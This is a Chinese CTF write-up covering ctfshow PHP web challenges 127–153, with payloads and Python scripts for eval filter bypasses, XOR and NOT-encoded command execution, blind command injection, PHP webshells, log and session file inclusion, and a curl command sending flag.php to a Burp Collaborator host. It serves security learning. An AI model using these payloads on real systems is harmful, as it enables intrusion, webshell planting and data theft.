这次正则匹配了一些关键字母,导致不能继续用上题paylaod;观察到这里是有$_SERVER['argv']

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据

这里进行了本地测试,注意需要在php.ini开启register_argc_argv配置项,测试代码为

1
2
3
<?php
$a=$_SERVER['argv'];
var_dump($a);

所以如果我们get传入变量赋值语句,接着在post里面来执行这个赋值语句就可以完美绕过,payload为

1
2
3
4
?$fl0g=flag_give_me;

post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}

这里开启了$_SERVER['QUERY_STRING'],上题已经解释过,这里用了一个extract()函数

extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值

举例就是?a=2,就会变成$a=2,这里ctf_show有个_需要构造,前面说过php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,这里空格没有被ban,所以我们就使用空格,payload为

1
?ctf show=ilove36d

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

这里嵌套了两层的call_user_func,关于call_user_func函数在前面的题中已经讲过,不过我们可以再回顾一下,同时介绍新的知识点

call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数

这里对$f1进行了正则过滤,不能为数字和字母,这里可以使用gettext拓展,开启此拓展_() 等效于 gettext()

1
2
3
4
5
6
<?php
echo gettext("ctfshownb");
//输出结果:ctfshownb

echo _("ctfshownb");
//输出结果:ctfshownb

因此call_user_func('_','ctfshownb') 返回的结果为ctfshownb,接下来到第二层call_user_func,找了一圈发现get_defined_vars函数可以使用

get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

所以payload也就出来了

1
?f1=_&f2=get_defined_vars

整个执行流程就是

1
2
3
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));//输出数组

web129

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

倒是变得简单了,传入get参数f,并且字符串中包含ctfshow就会读取文件,所以有多种利用姿势,这里讲几种
第一种
直接文件包含

1
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

然后右键源码查看flag
第二种
远程文件包含,在自己的服务器上写一句话木马进行利用,url为你的服务器ip或者域名,xxxx.txt为你写的一句话木马

1
?f=http://url/xxxx.txt?ctfshow

第三种
使用php伪协议读取

1
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

额,这题直接就ctfshow就过了,因为正则模式匹配不到,然后stripos()搜索字符串返回的值是0(因为ctfshow第一次出现的位置就是0下标)也跳过了if里的语句直接输出flag,所以paylaod为

1
2
post:
f=ctfshow

但还是讲一下这题本来的考点,提示very应该考的是正则的最大回溯

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

写一个脚本来发包

1
2
3
4
5
6
7
8
9
10
11
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/27 17:52
# blog: www.wlhhlc.top
import requests
url = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/"
data = {
'f': 'dotast'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

这次加了string函数,用上题脚本改一下就可以,一样利用正则的回溯次数

1
2
3
4
5
6
7
8
9
10
11
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/27 17:52
# blog: www.wlhhlc.top
import requests
url = "http://9b9aa879-e1b7-4f83-9c38-ea3132ac969b.chall.ctf.show:8080/"
data = {
'f': 'dotast'*170000+'36Dctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

运行脚本即可得到flag

web132

打开是一个唬人的网页

在robots.txt里看到提示admin

访问后看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}
}
}

三个get参数,并且有个if判断条件;php运算符优先级 ||优先级低于&&,看个简单例子

1
2
3
4
5
<?php
if(false && false || true){ //也就是(flase || true)
echo 667;
}
//输出结果:666

逻辑也很好理解,所以我们只需要满足username=admin过第一个if条件,code=admin满足第二个if条件即可,paylaod为

1
?username=admin&code=admin&password=dotast

web133

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

这里限制了一些命令执行语句并且还限制了6个数字,我们可以采取套娃的方式来获得更多控制语句的空间

1
2
3
4
5
6
7
get传参:F=`$F `;sleep 6

经过substr($F,0,6)截取后 得到 `$F `; 一共6个字符,之前说过``反引号等于shell_exec执行命令
eval("`$F `;sleep 6");
而$F就是我们输入的`$F `;sleep 6 最后执行的代码应该是``$F`;+sleep 3`
这样就成功执行了 sleep 6,可以看到发包后延长了6秒左右
前面的命令是执行我们的$F,后面的命令我们就可以自定义$F语句

这里首先打开burpsuite里的Collaborator Client


payload为

1
?F=`$F `;curl -X POST -F aaa=@flag.php gn7nld7jteju8f8ww19yhgwfc6ix6m.burpcollaborator.net

web134

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

看到parse_str()函数和extract()函数,可以看得出是变量覆盖,这两个函数前面的题都讲过了,我们再简单讲一下流程

1
2
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);

如果我们传入?_POST[a]=dotast,就会输出array(1) { ["a"]=> string(6) "dotast" },再使用extract函数,就会变成$a=dotast
所以payload为

1
?_POST[key1]=36d&_POST[key2]=36d

web135

1
2
3
4
5
6
7
8
9
10
11
?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

在web133基础上多ban了很多函数,cp复制到能访问的文本就可以,所以payload为

1
?F=`$F `;cp flag.php 2.txt

web136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

这里ban了大量函数和字符,不过在linux下还有一个命令tee

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
用法:
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出到1.txt文件中

首先查看一下根目录文件

1
?c=ls /|tee dotast

接着访问dotast进行下载

读取f149_15_h3r3文件到dotast中,继续下载查看

得到flag

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);

没有难度,就是直接调用ctfshow类中的getFlag方法就好,paylaod为

1
2
post:
ctfshow=ctfshow::getFlag

记得右键查看源码

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);

在前一题基础上把冒号给ban了,但call_user_func支持传入数组形式

call_user_func(array($ctfshow, ‘getFlag’));
这时候会调用ctfshow中的getFlag方法

所以payload为

1
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

咋看好似和之前的题没变化,但好像ban了写入文件的权限,没有回显了,只能开始盲注了,这里去了解了一下shell编程😿
利用shell编程的if判断语句配合awk以及cut命令来获取flag
awk逐行获取数据

cut命令逐列获取单个字符

利用if语句来判断命令是否执行

用命令ls \查看根目录来获取flag文件名,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/28 1:25
# blog: www.wlhhlc.top
import requests
url = "http://1bb8ea48-6413-47ef-94bb-8dd313c14c9e.chall.ctf.show:8080/"
result = ""
for i in range(1,5):
for j in range(1,15):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "


发现一个文件名是f149_15_h3r3的文件,flag就在这里边,那就改一下脚本cat一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/28 1:25
# blog: www.wlhhlc.top
import requests
url = "http://1bb8ea48-6413-47ef-94bb-8dd313c14c9e.chall.ctf.show:8080/"
result = ""
for j in range(1,60):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "

得到flag

需要加上{}

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

最后if判断弱比较等于“ctfshow”的时候输出flag,看一下弱比较参考表

可以看到0和字符串进行弱比较的时候返回的是true,因为==在进行比较的时候,会先将字符串类型转化成相同,再比较,而ctfshow是一个字符串,和0相比较的时候要转换成数字,ctfshow转换成数字的时候是0,所以相等返回true
而intval()函数会将非数字或非数字字符串转换为0,也就是我们传入的f1和f2互相构造即可,我们可以构造一个md5,这样intval就会返回0
所以payload为

1
2
post:
f1=md5&f2=md5

右键查看源码即可得到flag

web141

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

分析源代码,这里用了正则表达式/^\W+$/,把数字和字母还有下划线给ban了,之前无字母数字的webshell我们用了或运算,这次用异或来吧(或运算,异或,取反等等都可以),python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re

# 生成可用的字符
def write_rce():
result = ''
preg = '[a-zA-Z0-9]'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)


# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)

main()


然后v1和v2就随意填,v3填构造出的paylaod即可,但注意的是这里有个return干扰,所以我们要在v3的payload前边和后面加上一些字符就可以执行命令,例如\+ - * 等等
查看当前目录下文件

1
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");


看到flag.php,再生成一次payload

获取flag

1
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

web142

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

is_numeric()函数匹配为数字或者数字字符串的话会返回true,所以我们只需要输入数字就可以,但下面有个sleep休眠,所以需要传0,否则等到天荒地老…
payload为

1
?v1=0

web143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

在web141的基础上多ban掉一些字符,ban了取反,但没ban异或需要的^,所以还是可以用web141的脚本,不过需要改一下规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re

# 生成可用的字符
def write_rce():
result = ''
preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)


# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)

main()


记住,v3这里需要前后加上符号拜托掉return,最终payload如下

1
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

web144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

和web141一样,这是参数需要改一下,因为这里有个check函数对v3做检测,我们把payload改到v2即可,运行web141的脚本就行
payload如下

1
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

web145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

在前面基础上ban了异或,但放行了~取反运算符,但之前v3需要* ; + - 等等符号来拜托return,但都被ban了,测试了一下发现|可以使用
取反脚本如下

1
2
3
4
5
6
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

运行后构造payload如下

1
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

没看出和上一题有什么差别(可能多ban了一些字符),直接用上一题payload即可

1
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web147

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}

换了题型,这里对ctf进行了一个正则表达式过滤,post传参的ctf和get传参的show进行了组合,这里我们可以使用create_function()代码注入

string create_function ( string args , string args , string code )

string $args 变量部分
string $code 方法代码部分

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
create_function('$dotast','echo $dotast."very cool"')
//等于
function f($dotast){
echo $dotast."very cool";
}

/*利用如下
如果我们第二个参数输入的是'echo 111;}phpinfo();//'
即可把前面的方法括号给闭合并且成功执行phpinfo命令,后面用//注释掉后边的语句
也就是下面这个结构
*/
function f($dotast){
echo 111;
}
phpinfo();//}

而正则表达式我们可以用\进行绕过,正好\在php里代表默认命名空间

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法


最终paylaod为

1
2
3
4
?show=echo 123;}system("tac flag.php");//

post:
ctf=\create_function

web148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

没ban掉异或字符^,之前用前面的脚本跑就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re

# 生成可用的字符
def write_rce():
result = ''
preg = '[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)


# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)

main()


运行后得到payload

1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

web149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

这里用file_put_contents函数写入文件,并且会有两个for循环判断不是index.php的文件会被删除,所以我们直接把一句话木马写进index.php就可以,paylaod如下

1
2
3
4
?ctf=index.php

post:
show=<?php @eval($_POST[dotast]);?>

接着再index.php里利用我们的马即可

1
2
3
4
url+index.php

post:
dotast=system("cat /ctfshow_fl0g_here.txt");

web150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

这里我用的日志包含绕过,应该也是非预期解,和前面写过的日志包含差不多,这里要想包含需要$isvip变量为true或者1,这里有QUERY_STRING和extract函数,所以我们可以直接通过get传参来定义(忘记这个知识点的往上看web127),然后再User-Agent里写上一句话利用,这里写了脚本进行利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 11:50
# blog: www.wlhhlc.top
import requests

url = "http://5166dd5a-495e-4cd2-bad1-6a13b1cba45a.chall.ctf.show:8080/" + "?isVIP=1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
}
data = {
'ctf': '/var/log/nginx/access.log',
'dotast':'system("cat flag.php");'
}
result = requests.post(url=url, headers=headers, data=data)
print(result.text)

运行后得到flag

web150_plus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}

在上一题的基础上ban了log字符,所以不能使用日志包含,但发现可以使用session进行文件包含,知识点忘记的可以看前面写的web82
web82写的脚本改改直接用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/3/7 14:57
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://7eda1482-7964-4319-96d3-1689b4a62307.chall.ctf.show:8080/'

def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
data = {
'ctf':'/tmp/sess_flag'
}
while True:
response = session.post(url+'?isVIP=1',data=data)
if 'ctfshow' in response.text:
print(response.text)
break
else:
print('retry')

if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()

运行后即可得到flag

文件上传(151-170)

web151

上传图片马,然后在burpsuie里把后缀png更改为php,再去执行命令即可,制作图片马方法

1
2
用一张小点的图片和一句话木马,利用copy命令生成图片马
copy 1.png/b+2.php/a 3.png


web152

和上题一样的方法

web153

开始对php后缀进行了限制,这里我们利用.user.ini来构造后门

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

这里说一下php中的两个配置项

1
2
auto_prepend_file=filename      //包含在文件头
